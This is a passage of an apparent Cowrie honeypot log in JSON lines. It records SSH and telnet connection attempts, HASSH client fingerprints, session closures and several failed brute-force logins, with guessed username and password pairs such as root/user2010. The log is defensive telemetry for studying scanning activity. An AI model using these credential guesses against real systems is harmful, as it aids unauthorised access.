cCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:08.345129Z","src_ip":"213.209.159.158","session":"151b70919cea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48184,"dst_ip":"10.17.0.5","dst_port":23,"session":"818b9fc866d4","protocol":"telnet","message":"New connection: 62.210.97.77:48184 (10.17.0.5:23) [session: 818b9fc866d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:11.659106Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":55658,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb75e60671c9","protocol":"ssh","message":"New connection: 89.218.69.66:55658 (159.203.135.109:22) [session: bb75e60671c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:12.399953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:12.405036Z","src_ip":"89.218.69.66","session":"bb75e60671c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.65.150.236","src_port":58988,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5f37000c718","protocol":"telnet","message":"New connection: 196.65.150.236:58988 (159.203.135.109:23) [session: d5f37000c718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:12.510903Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:12.575396Z","src_ip":"89.218.69.66","session":"bb75e60671c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.181464433670044,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:13.111734Z","src_ip":"65.60.27.33","session":"c09281afb5f0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678Abc","message":"login attempt [ubuntu/12345678Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:13.286613Z","src_ip":"89.218.69.66","session":"bb75e60671c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:14.463213Z","src_ip":"89.218.69.66","session":"bb75e60671c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58206,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5772c240bc9","protocol":"telnet","message":"New connection: 165.232.131.181:58206 (10.17.0.5:23) [session: b5772c240bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:14.783423Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58572,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d0734657b3e","protocol":"telnet","message":"New connection: 165.232.131.181:58572 (10.17.0.5:23) [session: 6d0734657b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:15.896047Z"}
{"eventid":"cowrie.session.closed","duration":44.437183141708374,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:16.999126Z","src_ip":"165.232.131.181","session":"36fd6bbb0e6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.82654023170471,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:17.240699Z","src_ip":"62.210.97.77","session":"733599394add","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.55580806732178,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:17.294371Z","src_ip":"62.210.97.77","session":"7e8e32ec3d66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.76499152183533,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:17.562499Z","src_ip":"62.210.97.77","session":"e52cc1120df0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48190,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3f2473a5931","protocol":"telnet","message":"New connection: 62.210.97.77:48190 (10.17.0.5:23) [session: b3f2473a5931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:17.872803Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"user10","message":"login attempt [root/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:18.202527Z","src_ip":"213.209.159.158","session":"151b70919cea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51690,"dst_ip":"10.17.0.5","dst_port":23,"session":"29c432032f04","protocol":"telnet","message":"New connection: 65.60.27.33:51690 (10.17.0.5:23) [session: 29c432032f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:18.709155Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41566,"dst_ip":"10.17.0.5","dst_port":23,"session":"8882cccb9d80","protocol":"telnet","message":"New connection: 62.210.97.77:41566 (10.17.0.5:23) [session: 8882cccb9d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:18.885413Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41580,"dst_ip":"10.17.0.5","dst_port":23,"session":"2de4a154bb99","protocol":"telnet","message":"New connection: 62.210.97.77:41580 (10.17.0.5:23) [session: 2de4a154bb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:19.181178Z"}
{"eventid":"cowrie.session.closed","duration":37.37382459640503,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:19.864942Z","src_ip":"62.210.97.77","session":"8261650ad3ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:21.489621Z","src_ip":"213.209.159.158","session":"151b70919cea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":53054,"dst_ip":"10.17.0.5","dst_port":22,"session":"afa30f66eb3c","protocol":"ssh","message":"New connection: 213.209.159.158:53054 (10.17.0.5:22) [session: afa30f66eb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:21.571198Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55652,"dst_ip":"10.17.0.5","dst_port":23,"session":"5317e5995271","protocol":"telnet","message":"New connection: 65.60.27.33:55652 (10.17.0.5:23) [session: 5317e5995271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:22.334749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:24.211466Z","src_ip":"213.209.159.158","session":"afa30f66eb3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:24.215641Z","src_ip":"213.209.159.158","session":"afa30f66eb3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.529455423355103,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:25.040328Z","src_ip":"196.65.150.236","session":"d5f37000c718","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.436389923095703,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:27.771043Z","src_ip":"65.60.27.33","session":"5317e5995271","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47508,"dst_ip":"10.17.0.5","dst_port":23,"session":"f901b0d5fa14","protocol":"telnet","message":"New connection: 165.232.131.181:47508 (10.17.0.5:23) [session: f901b0d5fa14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:29.015182Z"}
{"eventid":"cowrie.session.closed","duration":0.007476329803466797,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:29.022625Z","src_ip":"165.232.131.181","session":"f901b0d5fa14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.711241006851196,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:30.538323Z","src_ip":"165.232.131.181","session":"cac096a6cbbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34238,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bfe76801450","protocol":"telnet","message":"New connection: 165.232.131.181:34238 (10.17.0.5:23) [session: 9bfe76801450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:30.708807Z"}
{"eventid":"cowrie.session.closed","duration":51.92853116989136,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:33.061437Z","src_ip":"38.54.119.93","session":"e1f081ed2d3f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"VaKh","message":"login attempt [root/VaKh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:33.739286Z","src_ip":"213.209.159.158","session":"afa30f66eb3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48128,"dst_ip":"10.17.0.5","dst_port":23,"session":"01e26a864667","protocol":"telnet","message":"New connection: 62.210.97.77:48128 (10.17.0.5:23) [session: 01e26a864667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:33.930664Z"}
{"eventid":"cowrie.session.closed","duration":37.30365705490112,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:34.977584Z","src_ip":"62.210.97.77","session":"17bbc269c910","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42270,"dst_ip":"10.17.0.5","dst_port":23,"session":"44ad1243141e","protocol":"telnet","message":"New connection: 65.60.27.33:42270 (10.17.0.5:23) [session: 44ad1243141e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:35.570857Z"}
{"eventid":"cowrie.session.closed","duration":31.535024642944336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:36.129503Z","src_ip":"62.210.97.77","session":"61c0003b209f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.80124592781067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:36.959491Z","src_ip":"62.210.97.77","session":"6c3683d79c62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:37.323963Z","src_ip":"213.209.159.158","session":"afa30f66eb3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":7056,"dst_ip":"10.17.0.5","dst_port":22,"session":"3357a825c760","protocol":"ssh","message":"New connection: 213.209.159.158:7056 (10.17.0.5:22) [session: 3357a825c760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:37.404635Z"}
{"eventid":"cowrie.session.closed","duration":36.97619891166687,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:39.283257Z","src_ip":"62.210.97.77","session":"34f0e3c6cb23","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:39.551223Z","src_ip":"213.209.159.158","session":"3357a825c760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:39.555319Z","src_ip":"213.209.159.158","session":"3357a825c760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.29373645782471,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:40.188856Z","src_ip":"165.232.131.181","session":"2d3b2f1243ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.025930881500244,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:40.352322Z","src_ip":"165.232.131.181","session":"d5c5026f2ab9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.7088737487793,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:41.915489Z","src_ip":"165.232.131.181","session":"0698ee01aeb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.450273752212524,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:42.419576Z","src_ip":"165.232.131.181","session":"4758a63ac010","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.06583571434021,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:43.825658Z","src_ip":"65.60.27.33","session":"7761392a6f7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43652,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d0e10e6df41","protocol":"telnet","message":"New connection: 62.210.97.77:43652 (10.17.0.5:23) [session: 3d0e10e6df41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:44.220946Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43656,"dst_ip":"10.17.0.5","dst_port":23,"session":"437a5cc014b9","protocol":"telnet","message":"New connection: 62.210.97.77:43656 (10.17.0.5:23) [session: 437a5cc014b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:46.532486Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43660,"dst_ip":"10.17.0.5","dst_port":23,"session":"809c3f0031ba","protocol":"telnet","message":"New connection: 62.210.97.77:43660 (10.17.0.5:23) [session: 809c3f0031ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:47.506389Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43668,"dst_ip":"10.17.0.5","dst_port":23,"session":"458ee7becaa0","protocol":"telnet","message":"New connection: 62.210.97.77:43668 (10.17.0.5:23) [session: 458ee7becaa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:48.137605Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43676,"dst_ip":"10.17.0.5","dst_port":23,"session":"46054c38d25c","protocol":"telnet","message":"New connection: 62.210.97.77:43676 (10.17.0.5:23) [session: 46054c38d25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:48.484791Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56452,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1e2b240d54b","protocol":"telnet","message":"New connection: 62.210.97.77:56452 (10.17.0.5:23) [session: d1e2b240d54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:48.864169Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"user2010","message":"login attempt [root/user2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:48.995388Z","src_ip":"213.209.159.158","session":"3357a825c760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57118,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1daa2f978c3","protocol":"telnet","message":"New connection: 65.60.27.33:57118 (10.17.0.5:23) [session: a1daa2f978c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:49.022458Z"}
{"eventid":"cowrie.session.closed","duration":37.924084424972534,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:49.583094Z","src_ip":"62.210.97.77","session":"818b9fc866d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36968,"dst_ip":"10.17.0.5","dst_port":23,"session":"903bb280abf2","protocol":"telnet","message":"New connection: 165.232.131.181:36968 (10.17.0.5:23) [session: 903bb280abf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:49.644720Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59882,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcd6d5aacb5b","protocol":"telnet","message":"New connection: 65.60.27.33:59882 (10.17.0.5:23) [session: fcd6d5aacb5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:51.874776Z"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:52.525368Z","src_ip":"213.209.159.158","session":"3357a825c760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":59882,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f43bdc34655","protocol":"ssh","message":"New connection: 213.209.159.158:59882 (10.17.0.5:22) [session: 4f43bdc34655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:52.604233Z"}
{"eventid":"cowrie.session.closed","duration":34.059306144714355,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:52.944591Z","src_ip":"62.210.97.77","session":"8882cccb9d80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.08285474777222,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:53.053302Z","src_ip":"65.60.27.33","session":"54c14fa41d02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35498,"dst_ip":"10.17.0.5","dst_port":23,"session":"a274124fb701","protocol":"telnet","message":"New connection: 65.60.27.33:35498 (10.17.0.5:23) [session: a274124fb701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:54.787043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:54.829987Z","src_ip":"213.209.159.158","session":"4f43bdc34655","protocol":"ssh"}
